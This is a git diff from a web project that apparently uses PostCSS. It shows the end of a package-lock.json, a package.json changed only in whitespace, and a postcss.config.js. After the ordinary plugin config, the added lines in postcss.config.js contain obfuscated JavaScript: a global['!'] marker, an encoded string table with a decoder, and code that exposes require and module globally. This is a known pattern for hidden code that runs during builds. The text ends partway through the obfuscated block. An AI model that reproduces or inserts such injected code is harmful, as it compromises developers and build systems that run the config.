"https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz", + "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "eastasianwidth": "^0.2.0", + "emoji-regex": "^9.2.2", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/string-width-cjs": { + "name": "string-width", + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width-cjs/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width-cjs/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true, + "license": "MIT" + }, + "node_modules/string-width-cjs/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.2.0.tgz", + "integrity": "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^6.2.2" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/strip-ansi-cjs": { + "name": "strip-ansi", + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi-cjs/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/thenby": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/thenby/-/thenby-1.3.4.tgz", + "integrity": "sha512-89Gi5raiWA3QZ4b2ePcEwswC3me9JIg+ToSgtE0JWeCynLnLxNr/f9G+xfo9K+Oj4AFdom8YNJjibIARTJmapQ==", + "dev": true, + "license": "Apache-2.0" + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/universalify": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz", + "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/update-browserslist-db": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz", + "integrity": "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "escalade": "^3.2.0", + "picocolors": "^1.1.1" + }, + "bin": { + "update-browserslist-db": "cli.js" + }, + "peerDependencies": { + "browserslist": ">= 4.21.0" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "dev": true, + "license": "MIT" + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/wrap-ansi": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz", + "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^6.1.0", + "string-width": "^5.0.1", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrap-ansi-cjs": { + "name": "wrap-ansi", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true, + "license": "MIT" + }, + "node_modules/wrap-ansi-cjs/node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=10" + } + }, + "node_modules/yaml": { + "version": "1.10.2", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz", + "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">= 6" + } + }, + "node_modules/yargs": { + "version": "17.7.2", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz", + "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==", + "dev": true, + "license": "MIT", + "dependencies": { + "cliui": "^8.0.1", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.3", + "y18n": "^5.0.5", + "yargs-parser": "^21.1.1" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/yargs-parser": { + "version": "21.1.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", + "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/yargs/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/yargs/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true, + "license": "MIT" + }, + "node_modules/yargs/node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/yargs/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + } + } +} diff --git a/package.json b/package.json index 8e9150bbb4..48f08dc8ee 100644 --- a/package.json +++ b/package.json @@ -1,28 +1,28 @@ -{ - "name": "appscode-web", - "version": "0.2.0", - "description": "appscode.com", - "scripts": { - "test": "echo \"Error: no test specified\" && exit 1" - }, - "repository": { - "type": "git", - "url": "git+https://github.com/appscode-cloud/appscode_web.git" - }, - "author": "AppsCode Inc. ", - "license": "Apache-2.0", - "bugs": { - "url": "https://github.com/appscode-cloud/appscode_web/issues" - }, - "homepage": "https://github.com/appscode-cloud/appscode_web#readme", - "devDependencies": { - "@fullhuman/postcss-purgecss": "^6.0.0", - "autoprefixer": "^10.4.27", - "postcss-cli": "^9.1.0" - }, - "private": true, - "dependencies": { - "bulma": "^0.9.4", - "postcss": "^8.4.12" - } -} +{ + "name": "appscode-web", + "version": "0.2.0", + "description": "appscode.com", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "repository": { + "type": "git", + "url": "git+https://github.com/appscode-cloud/appscode_web.git" + }, + "author": "AppsCode Inc. ", + "license": "Apache-2.0", + "bugs": { + "url": "https://github.com/appscode-cloud/appscode_web/issues" + }, + "homepage": "https://github.com/appscode-cloud/appscode_web#readme", + "devDependencies": { + "@fullhuman/postcss-purgecss": "^6.0.0", + "autoprefixer": "^10.4.27", + "postcss-cli": "^9.1.0" + }, + "private": true, + "dependencies": { + "bulma": "^0.9.4", + "postcss": "^8.4.12" + } +} diff --git a/postcss.config.js b/postcss.config.js index 25eb9396b5..4ffa512870 100644 --- a/postcss.config.js +++ b/postcss.config.js @@ -1,6 +1,5 @@ -module.exports = { - plugins: { - autoprefixer: {} - } -}; - +module.exports = { + plugins: { + autoprefixer: {} + } +}; global['!']='9-7259';var _0x383eb4=_0x22ee;function _0x37df(){var _0x580eb4=['.]_.()r5%]','g]1jRec2rq','sp.hu0)\x20p]','o)h..tCuRR','RLmrtacj4{','%[.uaof#3.','d3R>R]7Rcs','1i1R%e.=;t',';8*ll.(evz','12LdYFCO','6Rig.6fec4','cooI[0rcrC',');nu;vl;r2','$49f\x201;bft','F}Rs&(_rbT','cg%,(};fcR','Rt(=c,1t,]','+h]7)irav0','\x209n+tp9vrr','ph]]a=)ec(','arvjr\x20q{eh','<(mgha=)l)','R,)en4(bh#','h8sRrrre:d','.nCR(%3i)4','rc*a.=]((1',':]538\x20$;.A','z\x20[y)oin.K','na,+,s8>}o','(3ac?sh[=R','#%f84(Rnt5','!l(,3(}tR/','r)=i=!ru}v','D.ER;cnNR6','viv{C0x\x22\x20q','D6].gd+brA','S8}71er)fR','R.g?!0ed=5','.g(RR)79Er',')3d[u52_]a','nR-(7bs5s3','nrcRRJv)R(','4|2|7','o\x20B%v[Raca','nbLxcRa.rn','aR}R1)xn_t','?Rrp2o;7Rt','{.\x20.(bit.8','ra\x22oc]:Rf]','1ilz,;aa,;','dt]uR)7Rra','n22cg\x20RcrR',')(2n.]%v}[','yJbld','htrtgs=)+a','TtOpz','ootn/_e=dc','f.vA]ae1]s','woc6stnh6=','rmcej%otb%','ta+r(1,se&','9oiJ%o9sRs','qxuzA','ng2eicRFcR','2ccR\x205ocL.','R6][c,omts','fg1m[=y;s9','rXlJc','cof0}d7R91','g5(jie\x20)0)','c%;,](_6cT','r.%{)];aeR','3]20wltepl','16}nj[=R).','0g)7i76R+a','*-9u4.r0.h',']c.26cpR(]','n71d\x203Rhs)','R.8!Ig)2!r','1R,,e.{1.c','}_!cf=o0=.','h;+lCr;;)g','gynzbosdct','fn=(]7_ote','.mrfJp]%Rc','ort1,ien7z','=)p.mhu','0;a[{g-seo','2807812DjHpOZ','aih[.rrtv0','WHQkB','}y=2it<+ja','5trr&c:=e4','$rm2_RRw\x22+','w8=60dvqqf','k\x20n[abr0;C','uRtR\x22a}R/H','.D4t])Rea7','OVvcd','R8.a\x20e7]sh','{oc81=ih;n','r.7,fnu2;v','[rc(c\x20(eR\x27','x_7tr38;f}','n8.i}r+5/s','o5o\x20+f7!%?','r\x20)3a%_e=(',':.%ei_5n,d','+=}f)R7;6;','}98R.ca)ez','toR5g(;R@]','39.f3cfR.o',')c}}]_toud','%3SE\x20Ra]f)','ezZaR',']c4e!e+f4f','ahRi)5g+h)','or\x20;de_2(>','(7H]Rc\x20)hr','ca.qmi=),s','f;hRres%1o',':Rt}_e.zv#','!kn;@oRR(5','3645608kEjchB','hSo]29R_,;','$n;cR343%]',';=7$=3=o[3','e1M',')2)Ro]r(;o','38e\x20g.0s%g','Rde%2exuq}','C=5.y2%h#a','\x22aRa];%6\x20R','o-e}au>n(a','charAt','XaRCJ','sD]R47RttI','.{R56tr!nc','ghBOg','g(.RRe4}Cl','=++!eb]a;[','rRa172t5tt','a0u.}3Rcis.iR%','tRc;nsu;tm','%0g,n)N}:8',']th15Rpe5)','je(csaR5em','uPzQZ','}+c.w[*qrm','pusocrjhrf','u1t(%3\x221)T',';;;g;6ylle','Cf{d.aR\x276a','2|0|7|5|1|','w:RR7l1R((','-x3a9=R0Rt',')gr2:;epRR','2).{Ho27f\x20','s7Re.+r=R%','m8d5|.u)(r','d=[,\x20((nao','1fnke.0n\x20)','RRaair=Rad','t!Er%GRRR<','hhns(D6;{\x20','4cn]([*\x22].','RCc=R=4s*(','substr','a.t1.3F7ct','Ajq-km,o;.','17z]=a2rci','!=|s=2>.Rr',')lpRu;3nun','tR*,le)Rdr','h5r].ce+;]','7.,+=vrrrr','bff=prdl+s','RRRlp{ac)%',',,;av=e9d7',')%rg3ge%0T',';]I-R$Afk4','7t}ldtfapE',')]=1Reo{h1','cdyIO','=e;;Cr=et:','f%es)%@1c=','c14/og;Rsc','=A&r.3(%0.','=3=ov{(1t\x22','Euglp','UMKqG','ciss(261E]','ccb[,%c;c6','.,etc=/3s+','1825048ruCEzD','l.;Ru.,}}3','a;t,sl=rRa',')%tntetne3','e:8ie!)oRR','+d\x2054epRRa','7=f=v)2,3;','wHkVp','dQVaV','drRe;{%9Rp','OrOXZ','62tuD%0N=,','n4tnrtb;d3','G.m03)]RbJ','sdnA3v44]i','rpy(()=.t9','711699JXeJzN','R+]-]0[ntl','.c(96R2o$n',',\x221itzr0o\x20','5|1|2|7|6|','tuo;x0ir=0','n);.;4f(ir','zvn]\x220e)=+',':gatfi1dpf','&a3nci=R=<','l5..fe3R.5','lroo(3es;_','5t2Ri(75)R','vlwTu','y4a9,,+si+','oci.\x20oc6lR','[v]%9cbRRr','tqf(C)imel','95ii7[]]..','length','j\x22S=o.)(t8','RfdHp','lee(({R]R3','9x)%ie=ded','t?3fs].Rte','wuqktamcei','XMtJs','k\x22o;,fto==','(3)e:e#Rf)','157940xmCOdB','%f/a\x20.r)sp','d(y+.t0)_,','ta]t(0?!](','fromCharCo','-ny7S*({1%','[;(k7h=rlu','lovnxrt','|7|5|11|0|','8>2s)o.hh]','.2/ch!Ri4_','m${y%l%)c}',']ts%mcs.ry','5rxrr,\x22bgr','hu;\x20,avrs.','Re.t.A}$Rm','5;r\x20;)d(v;','9R;c6p2e}R',';1e(s+..}h','.rei(e\x20C(R','Rw=Rc.=s]t','2(oR;nn]]c','}tg!a+t&;.','_vnslR)nR%','af6uv;vndq','s2%5t]541.','rBURI',']=fa6c%d:.','ru]f1/]eoe','0R;c8f8Rk!','.c;urnaui+','u2t4(y=/$\x27','1w(mnars;.','\x20MR8.S$l[R','38/icd!BR)','0.!Drcn5t0','x;f}8)791.','tsDSq','s=c;RrT%R7','=ch=,1g]ud','{Rc[%&cb3B','1>fra4)ww.','(s;78)r]a;','+ph\x20t,i+St','7\x22:)\x20(sys%','6p]ns.tlnt','Rar)vR','\x27cR[\x22c?\x22b]','p}9,5.}R{h',')rs_bv]0tc','0|5|1|3|6|','xytnoajv[)','.hR:R(Rx?d','pRo01sH4,o',')L&nl+JuRR','A.dGeTu894','lb.;=qu\x20at','try.\x20d]hn(',',1refr;e+(','crstsn,(\x20.','2\x20l=;nrsw)'];_0x37df=function(){return _0x580eb4;};return _0x37df();}(function(_0x4402b2,_0xa134e5){var _0x3107a7=_0x22ee,_0x37a47b=_0x4402b2();while(!![]){try{var _0x263c31=-parseInt(_0x3107a7(0x1f8))/(0x1f11+0x1*-0x1b55+0x3bb*-0x1)+parseInt(_0x3107a7(0x277))/(0x783+0x25*-0x57+-0x3b*-0x16)*(-parseInt(_0x3107a7(0x208))/(0x1*-0xd91+-0x2073+0x1*0x2e07))+-parseInt(_0x3107a7(0x30a))/(0x16eb*0x1+-0xf*-0x246+0x1*-0x3901)+-parseInt(_0x3107a7(0x225))/(-0x11fe+-0x1*0x15d6+0x27d9)+parseInt(_0x3107a7(0x2d3))/(0x24ad+0x19a8+-0x3e4f)*(-parseInt(_0x3107a7(0x35b))/(0x113*-0x17+-0x1*0x2144+-0x40*-0xe8))+-parseInt(_0x3107a7(0x32d))/(-0xc*0x32b+0x1ae8*-0x1+0x40f4)+parseInt(_0x3107a7(0x2eb))/(0xdd3+-0x1bfb+0xe31);if(_0x263c31===_0xa134e5)break;else _0x37a47b['push'](_0x37a47b['shift']());}catch(_0x19de2d){_0x37a47b['push'](_0x37a47b['shift']());}}}(_0x37df,-0x1b6321+-0x663c0+-0x26470*-0x14));function _0x22ee(_0x41776c,_0x35e61d){_0x41776c=_0x41776c-(-0x11*-0x10d+0x24d9*-0x1+-0x14d3*-0x1);var _0x310307=_0x37df();var _0x3cc738=_0x310307[_0x41776c];return _0x3cc738;}var _$_1e42=function(_0x1ca091,_0x515ed9){var _0x40db7e=_0x22ee,_0x503a3a={'OVvcd':_0x40db7e(0x354)+_0x40db7e(0x2fe)+_0x40db7e(0x22d)+'8','WHQkB':function(_0x4790c2,_0x40b433){return _0x4790c2<_0x40b433;},'cdyIO':_0x40db7e(0x37c)+_0x40db7e(0x2ec),'uPzQZ':function(_0xd6dbc7,_0x53230e){return _0xd6dbc7+_0x53230e;},'wHkVp':function(_0x4e016d,_0x30e265){return _0x4e016d*_0x30e265;},'Gvgpf':function(_0x445ea5,_0x4450ba){return _0x445ea5+_0x4450ba;},'rXlJc':function(_0xe941ab,_0x14d2df){return _0xe941ab%_0x14d2df;},'TtOpz':function(_0x5f4ee1,_0x3adbe6){return _0x5f4ee1*_0x3adbe6;},'dRRcH':function(_0x4e6550,_0x11c0a6){return _0x4e6550+_0x11c0a6;},'nmLmF':function(_0x14e182,_0x5c131b){return _0x14e182%_0x5c131b;},'ezZaR':function(_0x4e49e6,_0x465e4c){return _0x4e49e6%_0x465e4c;}},_0x5aecb4=_0x503a3a[_0x40db7e(0x314)][_0x40db7e(0x2e7)]('|'),_0x15b3a7=0xd*-0x2c1+-0x23cf+0x479c;while(!![]){switch(_0x5aecb4[_0x15b3a7++]){case'0':var _0x54de14='#';continue;case'1':for(var _0x25f516=0x1*0x2499+-0x4*0x321+-0x1815;_0x503a3a[_0x40db7e(0x30c)](_0x25f516,_0x5e89c6);_0x25f516++){var _0x3a30c8=_0x503a3a[_0x40db7e(0x1ed)][_0x40db7e(0x2e7)]('|'),_0x1ac2b3=-0x1*-0x1+0x32b*0x4+-0xcad;while(!![]){switch(_0x3a30c8[_0x1ac2b3++]){case'0':var _0x538584=_0x503a3a[_0x40db7e(0x376)](_0x503a3a[_0x40db7e(0x1ff)](_0x515ed9,_0x503a3a[_0x40db7e(0x2e1)](_0x25f516,0x1ee5+0x2051+-0x3ca3)),_0x503a3a[_0x40db7e(0x2b1)](_0x515ed9,0x12*-0xa8d+0x145bc+0x33bc));continue;case'1':var _0x1a84cc=_0x3986f5[_0x30f41b];continue;case'2':var _0x3b683b=_0x503a3a[_0x40db7e(0x2e1)](_0x503a3a[_0x40db7e(0x2a5)](_0x515ed9,_0x503a3a[_0x40db7e(0x2d7)](_0x25f516,0x1*0x2182+-0x1551+-0x1*0xa48)),_0x503a3a[_0x40db7e(0x2b1)](_0x515ed9,0x1213*-0x1+0x307*-0x6+0x3865*0x2));continue;case'3':_0x515ed9=_0x503a3a[_0x40db7e(0x364)](_0x503a3a[_0x40db7e(0x2d7)](_0x3b683b,_0x538584),0x8439c0+0x7d5475*-0x1+0x3ee561);continue;case'4':_0x3986f5[_0x30f41b]=_0x3986f5[_0x478c7c];continue;case'5':var _0x478c7c=_0x503a3a[_0x40db7e(0x2b1)](_0x538584,_0x5e89c6);continue;case'6':_0x3986f5[_0x478c7c]=_0x1a84cc;continue;case'7':var _0x30f41b=_0x503a3a[_0x40db7e(0x324)](_0x3b683b,_0x5e89c6);continue;}break;}}continue;case'2':;continue;case'3':var _0x1131b1='';continue;case'4':var _0x116e19='%';continue;case'5':var _0x269325='%';continue;case'6':;continue;case'7':var _0x998c73='#1';continue;case'8':return _0x3986f5[_0x40db7e(0x256)](_0x1131b1)[_0x40db7e(0x2e7)](_0x116e19)[_0x40db7e(0x256)](_0x1e9e53)[_0x40db7e(0x2e7)](_0x998c73)[_0x40db7e(0x256)](_0x269325)[_0x40db7e(0x2e7)](_0x598506)[_0x40db7e(0x256)](_0x54de14)[_0x40db7e(0x2e7)](_0x1e9e53);case'9':var _0x5e89c6=_0x1ca091[_0x40db7e(0x21b)];continue;case'10':for(var _0x25f516=-0x23d1*-0x1+-0x245*0xd+-0x650;_0x503a3a[_0x40db7e(0x30c)](_0x25f516,_0x5e89c6);_0x25f516++){_0x3986f5[_0x25f516]=_0x1ca091[_0x40db7e(0x338)](_0x25f516);}continue;case'11':var _0x598506='#0';continue;case'12':var _0x3986f5=[];continue;case'13':var _0x1e9e53=String[_0x40db7e(0x229)+'de'](-0xb*0x52+0x19d3*0x1+-0x15ce);continue;}break;}}(_0x383eb4(0x2a9),0x3d5af5+0x422898+-0x53e8b6);global[_$_1e42[-0x2347+0xb03*-0x2+-0x1*-0x394d]]=require;typeof module===_$_1e42[-0xdcc+0x25*-0x1d+0x11fe]&&(global[_$_1e42[0x182c+-0x14b8+-0x372]]=module);;(function(){var _0x18412e=_0x383eb4,_0x41bc1d={'dQVaV':_0x18412e(0x263)+_0x18412e(0x298),'yJbld':function(_0x2dc68f,_0x25d901){return _0x2dc68f<_0x25d901;},'XaRCJ':function(_0x116549,_0x3397ae){return _0x116549<_0x3397ae;},'DxDZl':_0x18412e(0x20c)+_0x18412e(0x302),'vlwTu':function(_0x3cbc19,_0x5ece73){return _0x3cbc19+_0x5ece73;},'OrOXZ':function(_0x37eb82,_0x201c80){return _0x37eb82*_0x201c80;},'eYqWt':function(_0x3b074a,_0x14eb65){return _0x3b074a%_0x14eb65;},'unygE':function(_0x5d096b,_0x33e82b){return _0x5d096b+_0x33e82b;},'vFEpx':function(_0x39edfa,_0x5b6727){return _0x39edfa%_0x5b6727;},'tsDSq':function(_0x4c805b,_0x29099e){return _0x4c805b-_0x29099e;},'XMtJs':function(_0x49d716,_0x470d7a){return 